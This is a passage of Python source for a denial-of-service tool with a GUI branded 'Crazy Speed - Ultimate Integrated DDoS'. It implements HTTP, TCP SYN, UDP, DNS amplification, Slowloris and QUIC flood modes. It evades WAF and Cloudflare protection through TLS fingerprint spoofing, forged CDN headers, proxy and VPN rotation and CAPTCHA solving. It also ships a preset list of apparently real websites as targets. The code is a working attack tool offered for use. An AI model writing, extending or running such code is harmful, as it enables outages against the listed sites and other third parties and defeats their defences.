await asyncio.sleep(0)
await asyncio.gather(*tasks, return_exceptions=True)
else:
if total_requests <= 0:
total_requests = max(concurrency * 1000, 100000)
print(f"[!] No explicit request limit set; using default async flood count of {total_requests} requests.")
batch_size = min(concurrency * 3, total_requests)
all_tasks = []
for i in range(0, total_requests, batch_size):
n = min(batch_size, total_requests - i)
batch = [asyncio.create_task(do_request()) for _ in range(n)]
all_tasks.extend(batch)
await asyncio.sleep(0)
await asyncio.gather(*all_tasks, return_exceptions=True)
elapsed = time.monotonic() - flood_start
total_reqs = sum(statuses.values())
rps = total_reqs / elapsed if elapsed > 0 else 0
ok = sum(c for s, c in statuses.items() if s.isdigit() and 200 <= int(s) < 400)
print(f"\n[ASYNC] HTTP Flood Complete: {elapsed:.2f}s | Total: {total_reqs} | RPS: {rps:.0f} | Success: {ok}")
if latencies:
stats = calculate_latency_stats([l * 1000 for l in latencies])
print(f"Latency: avg={stats['average']:.1f}ms p50={stats['p50']:.1f}ms p95={stats['p95']:.1f}ms p99={stats['p99']:.1f}ms")
if CURL_CFFI_AVAILABLE:
try:
close_result = client.close()
if asyncio.iscoroutine(close_result):
await close_result
except Exception:
pass
asyncio.run(_run())
return True
def print_evasion_report(identity_pool=None, use_tcp_spoof=False, use_cffi=False, use_playwright=False):
print(f"\n{'='*70}")
print(f"{'ADVANCED EVASION & WAF DETECTION BYPASS TECHNIQUES':^70}")
print(f"{'='*70}")
techniques = []
if identity_pool:
techniques.append("[+] Identity Rotation - Rotating user agents, IPs, session fingerprints")
techniques.append("[+] Adaptive Rate Limiting - Exponential backoff on 429/503 (1-60s)")
techniques.append("[+] Behavioral Simulation - Pareto-distributed delays (0.001-1.5s), burst probability 15%")
techniques.append("[+] Header Obfuscation - Randomized headers, realistic referers, residential IPs")
if use_tcp_spoof:
techniques.append("[+] TCP Fingerprinting - Spoofed OS signatures (Windows/macOS)")
if use_cffi:
techniques.append("[+] TLS Impersonation - curl_cffi browser fingerprints (Chrome/Firefox/Safari)")
if use_playwright:
techniques.append("[+] JS Challenge Bypass - Playwright headless:false, device emulation, natural waits")
techniques.append("[+] Connection Pooling - Persistent keep-alive with HTTP/2 support")
techniques.append("[+] CAPTCHA Detection - 2Captcha API integration ready")
techniques.append("[+] Tarpit Detection - Identifies honeypots via response size/timing anomalies")
techniques.append("[+] Honeypot Evasion - Filters CSS-hidden links (display:none, opacity:0, etc)")
for tech in techniques:
print(f" {tech}")
print(f"{'='*70}\n")
# ============================================================================
# ULTIMATE INTEGRATED ENGINE (محرك متكامل جديد يجمع كل التقنيات)
# ============================================================================
class UltimateIntegratedEngine:
def __init__(self, target: str, threads: int = 1000, duration: int = 0,
use_identities: bool = True, use_human_timing: bool = True,
use_cffi: bool = True, use_js_bypass: bool = True,
use_tcp_spoof: bool = True, use_ai_payload: bool = True,
use_captcha: bool = True, vpn_mode: str = None,
geo: str = "default", keepalive: bool = True,
use_http2: bool = True, random_query: bool = True,
request_rate: int = 0, total_requests: int = 0, http_method: str = "GET", max_load: bool = False, attack_mode: str = "integrated", **kwargs):
self.target = target
self.requested_threads = max(1, threads)
self.use_http2 = use_http2
self.http2_disabled_by_thread_limit = False
# No artificial thread cap — use full power
self.threads = self.requested_threads
self.duration = duration
self.keepalive = keepalive
self.random_query = random_query
self.request_rate = request_rate
self.max_requests = max(0, total_requests)
self.max_load = max_load
self.attack_mode = attack_mode.lower()
self.running = False
self.stop_requested = False
self.stats = defaultdict(int)
self.lock = threading.Lock()
self.session = None
self.log_callback = None
# تهيئة الأنظمة
self.identity_pool = None
self.http_method = http_method.upper() if http_method else "GET"
if use_identities:
self.identity_pool = IdentityPool(geo=geo, proxies=[],
max_requests_per_identity=50,
max_age=300.0,
use_js_bypass=use_js_bypass,
target_url=target)
self.human_timer = HumanTimer() if use_human_timing else None
self.adaptive_delay = AdaptiveDelayEngine()
self.header_rotator = AdvancedHeaderRotator()
self.tarpit_detector = TarpitDetector()
self.rate_limiter = RateLimitHandler()
self.captcha_solver = CaptchaSolver() if use_captcha else None
self.tcp_spoofer = TCPFingerprinter() if use_tcp_spoof else None
self.ai_payload = use_ai_payload
self.live_analytics = LiveAnalyticsEngine()
self.use_cffi = use_cffi and CURL_CFFI_AVAILABLE
self.use_js_bypass = use_js_bypass and PLAYWRIGHT_AVAILABLE
self.use_http2 = use_http2
self.vpn_rotator = None
if vpn_mode and vpn_mode != "System Default":
self.vpn_rotator = VPNRotator(vpn_mode=vpn_mode, interval_seconds=300)
# Initialize Proxy Engine if a proxy file is provided
self.proxy_engine = None
if kwargs.get('proxy_file') and os.path.isfile(kwargs.get('proxy_file')):
self.proxy_engine = ProxyRotationEngine(proxy_file=kwargs.get('proxy_file'))
self.proxy_engine.check_all_async()
self._log(f"[🌐] Loaded {self.proxy_engine.total_count} proxies for rotation.", "INFO")
self.loop = None
self.workers = []
self.httpx_client = None
self.cffi_clients = []
self.parsed = self._parse_target()
self.host = self.parsed['host']
self.port = self.parsed['port']
self.path = self.parsed['path']
self.scheme = self.parsed['scheme']
if self.ai_payload:
AIPayloadGenerator.learn_from_target(target)
if self.use_js_bypass:
self._get_initial_clearance()
def _parse_target(self) -> Dict:
if not self.target.startswith(('http://', 'https://')):
self.target = 'https://' + self.target
parsed = urllib.parse.urlparse(self.target)
return {'host': parsed.hostname or 'localhost', 'port': parsed.port or (443 if parsed.scheme == 'https' else 80), 'path': parsed.path or '/', 'scheme': parsed.scheme, 'query': parsed.query}
def _get_initial_clearance(self):
if self.identity_pool:
identity = self.identity_pool.get_identity()
get_playwright_clearance(self.target, identity)
def set_log_callback(self, callback):
self.log_callback = callback
def _log(self, message: str, level: str = "INFO"):
if self.log_callback:
self.log_callback(message, level)
async def _create_session(self):
ssl_ctx = ssl.create_default_context()
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE
try:
ssl_ctx.set_ciphers('ALL:!aNULL:!eNULL:!LOW:!EXPORT:!SSLv2')
except:
pass
conn = aiohttp.TCPConnector(limit=0, limit_per_host=0, force_close=False, enable_cleanup_closed=True, ssl=ssl_ctx, ttl_dns_cache=0, keepalive_timeout=30)
timeout = aiohttp.ClientTimeout(total=10, connect=5, sock_read=5)
self.session = aiohttp.ClientSession(connector=conn, timeout=timeout, trust_env=False)
if self.use_cffi and CURL_CFFI_AVAILABLE:
for _ in range(10): # Create 50 clients to prevent thread bottleneck and reduce latency
for imp in ["chrome124", "chrome120", "chrome116", "edge101", "safari17_0"]:
self.cffi_clients.append(cffi_requests.AsyncSession(impersonate=imp, verify=False, timeout=8))
await self._create_httpx_client()
async def _create_httpx_client(self):
if not HTTPX_AVAILABLE or not self.use_http2:
self.httpx_client = None
return
max_httpx_connections = min(self.threads, 1000)
max_keepalive = min(self.threads, 500)
limits = httpx.Limits(max_connections=max_httpx_connections,
max_keepalive_connections=max_keepalive,
keepalive_expiry=60)
timeout = httpx.Timeout(10.0, connect=5.0, read=5.0)
self.httpx_client = httpx.AsyncClient(http2=True, limits=limits, timeout=timeout, verify=False, follow_redirects=True, trust_env=False)
self._log(f"[⚡] HTTP/2 multiplexer: {max_httpx_connections} streams, {max_keepalive} keep-alive.", "INFO")
async def _attack_worker(self, worker_id: int):
while self.running and not self.stop_requested:
try:
identity = None
if self.identity_pool:
identity = self.identity_pool.get_identity()
if identity:
headers = identity.get_headers(keepalive=self.keepalive)
else:
headers = {
"User-Agent": random.choice(USER_AGENTS),
"Accept": random.choice(REALISTIC_ACCEPTS),
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": random.choice(["en-US,en;q=0.9", "ar-SA,ar;q=0.8"]),
}
if self.use_http2:
for h in ["Connection", "Keep-Alive", "Transfer-Encoding", "Host"]:
headers.pop(h, None)
headers.update(self._get_platform_headers())
if "Host" in headers:
del headers["Host"]
if "host" in headers:
del headers["host"]
if not self.max_load and self.human_timer:
delay = self.human_timer.next_delay()
await asyncio.sleep(delay)
if self.stop_requested:
break
if self.attack_mode in {"tcp_syn", "mine", "vse", "udp_random", "dns_amplification"}:
target_host = self.host
target_port = self.port
if self.attack_mode == "tcp_syn":
threading.Thread(target=flooder, args=(target_host, target_port, random._urandom(4096), datetime.datetime.now() + datetime.timedelta(seconds=max(1, self.duration or 10))), daemon=True).start()
elif self.attack_mode == "mine":
threading.Thread(target=mine, args=(target_host, target_port, b"\x06\x00/\x00\x00\x00\x02\x0c\x00", datetime.datetime.now() + datetime.timedelta(seconds=max(1, self.duration or 10))), daemon=True).start()
elif self.attack_mode == "vse":
threading.Thread(target=vse, args=(target_host, target_port, b"\xFF\xFF\xFF\xFF\x54\x53\x6F\x75\x72\x63\x65\x20\x45\x6E\x67\x69\x6E\x65\x20\x51\x75\x65\x72\x79", datetime.datetime.now() + datetime.timedelta(seconds=max(1, self.duration or 10))), daemon=True).start()
elif self.attack_mode == "udp_random":
threading.Thread(target=sender, args=(target_host, target_port, datetime.datetime.now() + datetime.timedelta(seconds=max(1, self.duration or 10)), random._urandom(1024)), daemon=True).start()
elif self.attack_mode == "dns_amplification":
if IS_ADMIN and SCAPY_AVAILABLE:
count = max(100, min(2000, self.requested_threads * 2))
threading.Thread(target=dns_amplification_attack, args=(target_host, 53, count), daemon=True).start()
else:
self._log("[!] DNS amplification requires Admin and Scapy to run.", "WARNING")
await asyncio.sleep(0.001)
continue
path = self.path
if self.random_query:
if '?' in path:
path += f"&_{random.randint(1,999999)}"
else:
path += f"?_{random.randint(1,999999)}"
method = self.http_method
data = None
if worker_id % 10 == 0 and random.random() < 0.1 and IS_ADMIN and SCAPY_AVAILABLE:
threading.Thread(target=dns_amplification_attack, args=(self.host, 53, 100), daemon=True).start()
if self.max_load and worker_id == 0 and random.random() < 0.01:
threading.Thread(target=slowloris_attack, args=(self.host, self.port, 30, 2.0, 15.0, None), daemon=True).start()
if self.max_load and worker_id == 1 and random.random() < 0.01:
asyncio.create_task(quic_flood(self.host, self.port, 20))
if self.http_method == "POST":
body = AIPayloadGenerator.generate_json_data(random.choice(["login", "comment", "search"]))
headers["Content-Type"] = "application/json"
data = body.encode('utf-8')
url = f"{self.scheme}://{self.host}{path}"
if self.use_js_bypass:
url = add_api_bypass(url)
if self.request_rate and self.request_rate > 0 and not self.max_load:
await asyncio.sleep(1.0 / self.request_rate)
# --- Proxy rotation with auto-blacklist on 403 ---
_max_proxy_retries = 3 if self.proxy_engine else 1
for _proxy_attempt in range(_max_proxy_retries):
req_start = time.monotonic()
# Pick a proxy (skip ~15% to mix direct requests)
proxy_url = None
_raw_proxy = None
if self.proxy_engine and random.random() > 0.15:
_raw_proxy = self.proxy_engine.get_random_proxy()
if _raw_proxy:
proxy_url = _raw_proxy if _raw_proxy.startswith(('http://', 'https://', 'socks')) else f"http://{_raw_proxy}"
proxy_dict = {"http": proxy_url, "https": proxy_url} if proxy_url else None
_resp_status = None
try:
if self.use_cffi and CURL_CFFI_AVAILABLE and self.cffi_clients:
try:
client = random.choice(self.cffi_clients)
cffi_headers = {}
for h in ["Content-Type", "Cookie", "Authorization", "X-Requested-With"]:
if h in headers:
cffi_headers[h] = headers[h]
elif h.lower() in headers:
cffi_headers[h.lower()] = headers[h.lower()]
cffi_resp = await client.request(method, url, headers=cffi_headers, data=data, proxies=proxy_dict, allow_redirects=True)
_resp_status = cffi_resp.status_code
await self._handle_response(_resp_status, len(cffi_resp.content) if getattr(cffi_resp, 'content', None) else 0, (time.monotonic() - req_start) * 1000.0)
except Exception:
with self.lock:
self.stats['timeouts'] += 1
if _raw_proxy and self.proxy_engine:
self.proxy_engine.mark_dead(_raw_proxy)
elif self.httpx_client and self.use_http2 and not proxy_url:
resp = await self.httpx_client.request(method, url, headers=headers, content=data)
_resp_status = resp.status_code
await self._handle_response(_resp_status, 0, (time.monotonic() - req_start) * 1000.0)
else:
async with self.session.request(method, url, headers=headers, data=data, ssl=False, proxy=proxy_url) as resp:
_resp_status = resp.status
await self._handle_response(_resp_status, 0, (time.monotonic() - req_start) * 1000.0)
except asyncio.TimeoutError:
with self.lock:
self.stats['timeouts'] += 1
if _raw_proxy and self.proxy_engine:
self.proxy_engine.mark_dead(_raw_proxy)
except asyncio.CancelledError:
raise
except Exception:
with self.lock:
self.stats['errors'] += 1
if _raw_proxy and self.proxy_engine:
self.proxy_engine.mark_dead(_raw_proxy)
# If 403 with a proxy, blacklist it and retry with a new one
if _resp_status == 403 and _raw_proxy and self.proxy_engine:
self.proxy_engine.mark_dead(_raw_proxy)
continue # retry with different proxy
break # success or non-proxy 403, don't retry
except asyncio.CancelledError:
break
except Exception as exc:
if self.stop_requested:
break
self._log(f"[!] Worker {worker_id} exception: {exc}", "ERROR")
continue
async def _handle_response(self, status: int, content_len: int = 0, latency_ms: float = 0.0):
with self.lock:
self.stats[f'status_{status}'] += 1
self.stats['total'] += 1
total_sent = self.stats['total']
self.live_analytics.record(status, latency_ms)
# Live visual feedback sampling (Throttled to prevent UI freeze)
if random.random() < 0.005:
if status >= 500:
self._log(f"[🔥] HIT! Server returned {status} (Latency: {latency_ms:.1f}ms)", "ATTACK")
elif status == 403:
self._log(f"[🛡️] BLOCKED! Server returned 403 (WAF Active)", "WARNING")
else:
self._log(f"[⚡] Request Sent -> Status: {status} | Latency: {latency_ms:.1f}ms", "INFO")
self.adaptive_delay.update_success_rate(status)
if self.max_requests > 0 and total_sent >= self.max_requests:
self.stop_requested = True
self._log(f"✅ Reached max requests limit: {self.max_requests}", "INFO")
if self.rate_limiter.should_retry(status):
delay = self.rate_limiter.on_rate_limit()
await asyncio.sleep(delay)
else:
self.rate_limiter.reset()
def _get_platform_headers(self) -> Dict:
headers = {}
if random.random() < 0.3:
headers["CF-Connecting-IP"] = AdvancedHeaderRotator.generate_random_ip()
headers["CF-IPCountry"] = random.choice(["US", "GB", "DE", "FR", "SA", "AE", "EG"])
headers["CF-Visitor"] = '{"scheme":"https"}'
if random.random() < 0.2:
headers["X-Amz-Cf-Id"] = hashlib.md5(str(random.random()).encode()).hexdigest()[:20]
headers["X-Cache"] = random.choice(["Hit from cloudfront", "Miss from cloudfront"])
if random.random() < 0.15:
headers["X-Goog-Api-Client"] = f"gcloud-python/{random.randint(1,100)}.{random.randint(1,100)}"
return headers
async def start_attack(self):
self.running = True
self.stop_requested = False
await self._create_session()
if self.vpn_rotator:
self.vpn_rotator.start()
self._log(f"🔄 VPN Auto-Rotation started (every 5 min)", "INFO")
if self.requested_threads != self.threads:
self._log(f"[⚠️] Requested {self.requested_threads} threads, capping to {self.threads} for stability.", "WARNING")
if self.http2_disabled_by_thread_limit:
self._log(f"[!] HTTP/2 disabled because requested threads ({self.requested_threads}) exceed 100. Using HTTP/1.1 for stability.", "WARNING")
self._log(f"🔥 Starting integrated attack on {self.target}", "ATTACK")
self._log(f"🧵 Threads: {self.threads} | Duration: {self.duration}s", "INFO")
workers = [asyncio.create_task(self._attack_worker(i)) for i in range(self.threads)]
self.workers = workers
self.loop = asyncio.get_running_loop()
try:
if self.duration > 0:
start_time = time.monotonic()
while not self.stop_requested and time.monotonic() - start_time < self.duration:
await asyncio.sleep(0.2)
else:
while not self.stop_requested:
await asyncio.sleep(0.2)
finally:
self.running = False
for task in self.workers:
if not task.done():
task.cancel()
await asyncio.gather(*workers, return_exceptions=True)
if self.session and not self.session.closed:
try:
await self.session.close()
except Exception:
pass
if self.httpx_client:
try:
await self.httpx_client.aclose()
except Exception:
pass
for client in self.cffi_clients:
try:
result = client.close()
if asyncio.iscoroutine(result):
await result
except Exception:
pass
if self.vpn_rotator:
self.vpn_rotator.stop()
# Allow event loop to finalize connections
await asyncio.sleep(0.25)
if self.stop_requested:
self._log("🛑 Attack stopped by user.", "WARNING")
else:
self._log("✅ Attack completed!", "SUCCESS")
def get_stats(self) -> Dict:
with self.lock:
stats = dict(self.stats)
stats['analytics'] = self.live_analytics.get_analytics()
return stats
def stop(self):
self.stop_requested = True
self.running = False
if self.loop and not self.loop.is_closed():
try:
for task in self.workers:
if not task.done():
self.loop.call_soon_threadsafe(task.cancel)
if self.session and not self.session.closed:
asyncio.run_coroutine_threadsafe(self.session.close(), self.loop)
if self.httpx_client:
try:
asyncio.run_coroutine_threadsafe(self.httpx_client.aclose(), self.loop)
except Exception:
pass
except Exception:
pass
# ============================================================================
# ULTIMATE GUI (واجهة رسومية متكاملة مع كل الإعدادات)
# ============================================================================
class UltimateIntegratedGUI:
def __init__(self):
self.root = tk.Tk()
self.root.title("Crazy Speed - Ultimate Integrated DDoS")
self.root.geometry("1400x900+100+100")
self.root.configure(bg='#0a0a0a')
self.root.lift()
self.root.attributes('-topmost', True)
self.root.after(1000, lambda: self.root.attributes('-topmost', False))
self.target = tk.StringVar(value="https://example.com")
self.threads = tk.IntVar(value=1000)
self.duration = tk.IntVar(value=60)
self.geo = tk.StringVar(value="default")
self.vpn_mode = tk.StringVar(value="System Default")
self.mode_var = tk.StringVar(value="Integrated") # Integrated, HTTP Flood, TCP Flood, إلخ
self.use_identities = tk.BooleanVar(value=True)
self.use_human_timing = tk.BooleanVar(value=True)
self.use_cffi = tk.BooleanVar(value=True)
self.use_js_bypass = tk.BooleanVar(value=True)
self.use_tcp_spoof = tk.BooleanVar(value=True)
self.use_ai_payload = tk.BooleanVar(value=True)
self.use_captcha = tk.BooleanVar(value=True)
self.use_keepalive = tk.BooleanVar(value=True)
self.use_http2 = tk.BooleanVar(value=False)
self.use_random_query = tk.BooleanVar(value=True)
self.method = tk.StringVar(value="GET")
self.requests = tk.IntVar(value=500000)
self.request_rate = tk.IntVar(value=0)
self.max_load = tk.BooleanVar(value=False)
# Proxy variables (some code paths expect `proxy_var` / `proxy_mode_var`)
self.proxy_file = tk.StringVar(value="")
self.proxy_var = self.proxy_file
self.proxy_mode_var = tk.StringVar(value="System Default")
self.attack_running = False
self.attack_thread = None
self.engine = None
self.stats_queue = queue.Queue()
self._build_ui()
self._apply_style()
self._update_stats_loop()
self.root.after(1000, self.check_and_install_dependencies)
def _build_ui(self):
self.root.configure(bg='#16202b')
self.root.geometry('1180x760')
main_frame = ttk.Frame(self.root, padding=14, style='Main.TFrame')
main_frame.pack(fill=tk.BOTH, expand=True)
header_frame = ttk.Frame(main_frame, style='Main.TFrame')
header_frame.pack(fill=tk.X, pady=(0, 12))
ttk.Label(header_frame, text='Crazy Speed', style='Title.TLabel').pack(side=tk.LEFT)
ttk.Label(header_frame, text='Integrated Control', style='Subtitle.TLabel').pack(side=tk.LEFT, padx=(10, 0))
self.status_bar = ttk.Label(main_frame, text='✅ Ready — sleek view, less clutter.', style='Status.TLabel')
self.status_bar.pack(fill=tk.X, pady=(0, 14))
# Add scrollable canvas for the main content
canvas = tk.Canvas(main_frame, bg='#14202f', highlightthickness=0)
scrollbar = ttk.Scrollbar(main_frame, orient="vertical", command=canvas.yview)
canvas.configure(yscrollcommand=scrollbar.set)
scrollbar.pack(side=tk.RIGHT, fill=tk.Y)
canvas.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)
content_frame = ttk.Frame(canvas, style='Main.TFrame')
canvas_window = canvas.create_window((0, 0), window=content_frame, anchor='nw')
def configure_canvas(event):
canvas.itemconfig(canvas_window, width=event.width)
def configure_content(event):
canvas.configure(scrollregion=canvas.bbox("all"))
canvas.bind("<Configure>", configure_canvas)
content_frame.bind("<Configure>", configure_content)
def _on_mousewheel(event):
widget = event.widget
if isinstance(widget, tk.Text):
return
canvas.yview_scroll(int(-1*(event.delta/120)), "units")
self.root.bind_all("<MouseWheel>", _on_mousewheel)
content_frame.columnconfigure(0, weight=2)
content_frame.columnconfigure(1, weight=1)
content_frame.rowconfigure(0, weight=1)
content_frame.rowconfigure(1, weight=1)
left_panel = ttk.Frame(content_frame, style='Main.TFrame')
left_panel.grid(row=0, column=0, sticky=tk.NSEW, padx=(0, 10))
right_panel = ttk.Frame(content_frame, style='Main.TFrame')
right_panel.grid(row=0, column=1, sticky=tk.NSEW, padx=(10, 0))
# --- Responsive layout: stack panels when window is narrow ---
self._content_frame = content_frame
self._left_panel = left_panel
self._right_panel = right_panel
self._is_stacked = False
def _responsive_layout(event):
if event.widget != self.root:
return
width = event.width
if width < 900 and not self._is_stacked:
self._right_panel.grid_forget()
self._right_panel.grid(row=1, column=0, sticky=tk.NSEW, padx=(0, 0), pady=(12, 0))
self._content_frame.columnconfigure(1, weight=0)
self._is_stacked = True
elif width >= 900 and self._is_stacked:
self._right_panel.grid_forget()
self._right_panel.grid(row=0, column=1, sticky=tk.NSEW, padx=(10, 0))
self._content_frame.columnconfigure(1, weight=1)
self._is_stacked = False
self.root.bind("<Configure>", _responsive_layout)
attack_card = ttk.Labelframe(left_panel, text='Attack Control', padding=14, style='Card.TLabelframe')
attack_card.pack(fill=tk.X, expand=False)
attack_card.columnconfigure(1, weight=1)
attack_card.columnconfigure(3, weight=1)
ttk.Label(attack_card, text='Target URL', style='FieldLabel.TLabel').grid(row=0, column=0, sticky=tk.W, pady=4)
target_urls = [
"https://newsvix.online/feed",
"https://newsvix.online/comments/feed/",
"https://newsvix.online/wp-json/wp/v2/posts",
"https://techp.almontsf.com/feed/",
"https://techp.almontsf.com/comments/feed/",
"https://techp.almontsf.com/wp-json/wp/v2/posts",
"https://primepropertynow.com/feed/",
"https://primepropertynow.com/comments/feed/",
"https://primepropertynow.com/wp-json/wp/v2/posts",
"http://al3rbygo.com/feed/",
"http://al3rbygo.com/wp-json/wp/v2/posts",
"https://pub1.bigcarinsurance.com/feed/",
"https://pub1.bigcarinsurance.com/wp-json/wp/v2/posts",
"https://pub3.bigcarinsurance.com/feed/",
"https://pub3.bigcarinsurance.com/wp-json/wp/v2/posts",
"https://pub5.bigcarinsurance.com/feed/",
"https://pub5.bigcarinsurance.com/wp-json/wp/v2/posts",
"https://pub6.bigcarinsurance.com/feed/",
"https://pub6.bigcarinsurance.com/wp-json/wp/v2/posts",
"https://crizyman.online/feed/",
"https://crizyman.online/comments/feed/",
"https://ryfex.online/feed/",
"https://ryfex.online/wp-json/wp/v2/posts",
"https://ryfex.online/sitemap.xml"
]
ttk.Combobox(attack_card, textvariable=self.target, values=target_urls).grid(row=0, column=1, columnspan=3, sticky=tk.EW, padx=(8, 0))
button_row = ttk.Frame(attack_card, style='Main.TFrame')
button_row.grid(row=1, column=0, columnspan=4, sticky=tk.EW, pady=(10, 8))
ttk.Button(button_row, text='Analyze', command=self.analyze_target, style='Action.TButton').pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
ttk.Button(button_row, text='Origin IP', command=self.find_origin_ip_ui, style='Action.TButton').pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
button_row2 = ttk.Frame(attack_card, style='Main.TFrame')
button_row2.grid(row=2, column=0, columnspan=4, sticky=tk.EW, pady=(0, 16))
ttk.Button(button_row2, text='Load Targets', command=self.load_targets_ui, style='Action.TButton').pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
ttk.Button(button_row2, text='Schedule', command=self.schedule_attack_ui, style='Action.TButton').pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
ttk.Label(attack_card, text='Mode', style='FieldLabel.TLabel').grid(row=3, column=0, sticky=tk.W, pady=6)
ttk.Combobox(attack_card, textvariable=self.mode_var, values=['Integrated', 'HTTP Flood', 'TCP Flood', 'UDP Flood', 'DNS Amplification', 'TCP SYN', 'Minecraft', 'VSE', 'UDP Random', 'Slowloris', 'Async Slowloris', 'WebSocket Flood', 'H2 Rapid Reset', 'XML-RPC', 'Slow HTTP', 'Port Scan', 'Rotating Targets'], state='readonly', width=18, style='FieldEntry.TEntry').grid(row=3, column=1, sticky=tk.EW, padx=(8, 0))
ttk.Label(attack_card, text='Method', style='FieldLabel.TLabel').grid(row=3, column=2, sticky=tk.W, padx=(16, 0), pady=6)
ttk.Combobox(attack_card, textvariable=self.method, values=['GET', 'POST'], state='readonly', width=14, style='FieldEntry.TEntry').grid(row=3, column=3, sticky=tk.EW, padx=(8, 0))
ttk.Label(attack_card, text='Threads', style='FieldLabel.TLabel').grid(row=4, column=0, sticky=tk.W, pady=6)
ttk.Spinbox(attack_card, from_=100, to=10000, textvariable=self.threads, width=14, style='FieldEntry.TEntry').grid(row=4, column=1, sticky=tk.EW, padx=(8, 0))
ttk.Label(attack_card, text='Duration (s)', style='FieldLabel.TLabel').grid(row=4, column=2, sticky=tk.W, padx=(16, 0), pady=6)
ttk.Spinbox(attack_card, from_=1, to=3600, textvariable=self.duration, width=14, style='FieldEntry.TEntry').grid(row=4, column=3, sticky=tk.EW, padx=(8, 0))
ttk.Label(attack_card, text='Requests', style='FieldLabel.TLabel').grid(row=5, column=0, sticky=tk.W, pady=6)
ttk.Spinbox(attack_card, from_=0, to=10000000, textvariable=self.requests, width=14, style='FieldEntry.TEntry').grid(row=5, column=1, sticky=tk.EW, padx=(8, 0))
ttk.Label(attack_card, text='Geo', style='FieldLabel.TLabel').grid(row=5, column=2, sticky=tk.W, padx=(16, 0), pady=6)
ttk.Combobox(attack_card, textvariable=self.geo, values=list(GEO_PROFILES.keys()), state='readonly', width=14, style='FieldEntry.TEntry').grid(row=5, column=3, sticky=tk.EW, padx=(8, 0))
ttk.Label(attack_card, text='VPN Mode', style='FieldLabel.TLabel').grid(row=6, column=0, sticky=tk.W, pady=6)
ttk.Combobox(attack_card, textvariable=self.vpn_mode, values=['System Default', 'Cloudflare WARP', 'Tuxler (Residential)', 'Tuxler (Data Center)', 'IP Sharkk'], state='readonly', width=20, style='FieldEntry.TEntry').grid(row=6, column=1, sticky=tk.EW, padx=(8, 0))
ttk.Label(attack_card, text='Proxy File', style='FieldLabel.TLabel').grid(row=6, column=2, sticky=tk.W, padx=(16, 0), pady=6)
proxy_row = ttk.Frame(attack_card, style='Main.TFrame')
proxy_row.grid(row=6, column=3, sticky=tk.EW, padx=(8, 0))
ttk.Entry(proxy_row, textvariable=self.proxy_file, style='FieldEntry.TEntry').pack(side=tk.LEFT, fill=tk.X, expand=True)
ttk.Button(proxy_row, text='Browse', command=self.browse_proxy, style='Action.TButton').pack(side=tk.LEFT, padx=(8, 0))
control_buttons = ttk.Frame(attack_card, style='Main.TFrame')
control_buttons.grid(row=7, column=0, columnspan=4, sticky=tk.EW, pady=(20, 0))
self.start_btn = ttk.Button(control_buttons, text='START', command=self.start_attack, style='Accent.TButton')
self.start_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
self.auto_btn = ttk.Button(control_buttons, text='MAX LOAD', command=self.set_max_load, style='Secondary.TButton')
self.auto_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
self.stop_btn = ttk.Button(control_buttons, text='STOP', command=self.stop_attack, style='Danger.TButton', state=tk.DISABLED)
self.stop_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
self.bypass_btn = ttk.Button(control_buttons, text='JS Bypass OFF', command=self.toggle_bypass, style='Secondary.TButton')
self.bypass_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
options_card = ttk.Labelframe(left_panel, text='Quick Options', padding=14, style='Card.TLabelframe')
options_card.pack(fill=tk.X, expand=False, pady=(12, 0))
options_card.columnconfigure(0, weight=1)
options_card.columnconfigure(1, weight=1)
option_list = [
('Identities', self.use_identities),
('Human Timing', self.use_human_timing),
('TLS Spoof', self.use_cffi),
('JS Bypass (API)', self.use_js_bypass),
('TCP Spoof', self.use_tcp_spoof),
('AI Payload', self.use_ai_payload),
('CAPTCHA', self.use_captcha),
('Keep-Alive', self.use_keepalive),
('HTTP/2', self.use_http2),
('Random Query', self.use_random_query),
]
for idx, (label, var) in enumerate(option_list):
row = idx // 2
col = idx % 2
ttk.Checkbutton(options_card, text=label, variable=var, style='Option.TCheckbutton').grid(row=row, column=col, sticky=tk.W, padx=6, pady=6)
status_card = ttk.Labelframe(right_panel, text='Live Status', padding=14, style='Card.TLabelframe')
status_card.pack(fill=tk.BOTH, expand=True)
status_card.columnconfigure(0, weight=1)
status_card.columnconfigure(1, weight=1)
self.stats_labels = {}
stat_keys = ['Total', 'Status 200', 'Status 400', 'Status 403', 'Status 429', 'Status 500', 'Status 502', 'Status 503', 'Status 504', 'Errors', 'Timeouts']
for idx, key in enumerate(stat_keys):
frame = ttk.Frame(status_card, style='StatFrame.TFrame')
frame.grid(row=idx // 2, column=idx % 2, sticky=tk.EW, padx=6, pady=6)
ttk.Label(frame, text=key, style='StatLabel.TLabel').pack(anchor=tk.W)
self.stats_labels[key] = ttk.Label(frame, text='0', style='StatValue.TLabel')
self.stats_labels[key].pack(anchor=tk.W, pady=(4, 0))
analytics_card = ttk.Labelframe(right_panel, text='Analytics', padding=14, style='Card.TLabelframe')
analytics_card.pack(fill=tk.X, expand=False, pady=(12, 0))
analytics_card.columnconfigure((0, 1, 2, 3), weight=1)
self.analytics_labels = {}
analytics_keys = ['Latency (ms)', 'Peak RPS', 'Damage Score', 'Server Health']
for idx, key in enumerate(analytics_keys):
frame = ttk.Frame(analytics_card, style='StatFrame.TFrame')
frame.grid(row=0, column=idx, sticky=tk.EW, padx=6, pady=6)
ttk.Label(frame, text=key, style='StatLabel.TLabel').pack(anchor=tk.W)
self.analytics_labels[key] = ttk.Label(frame, text='-', style='StatValue.TLabel')
self.analytics_labels[key].pack(anchor=tk.W, pady=(4, 0))
system_status_card = ttk.Labelframe(right_panel, text='System Status', padding=12, style='Card.TLabelframe')
system_status_card.pack(fill=tk.X, expand=False, pady=(12, 0))
system_status_card.columnconfigure(0, weight=1)
system_status_card.columnconfigure(1, weight=1)
self.system_status = {}
for idx, label in enumerate(['Identity Pool', 'Human Timer', 'TLS Spoof', 'JS Bypass', 'TCP Spoof', 'AI Payload', 'VPN Rotator']):
frame = ttk.Frame(system_status_card, style='StatFrame.TFrame')
frame.grid(row=idx // 2, column=idx % 2, sticky=tk.EW, padx=6, pady=4)
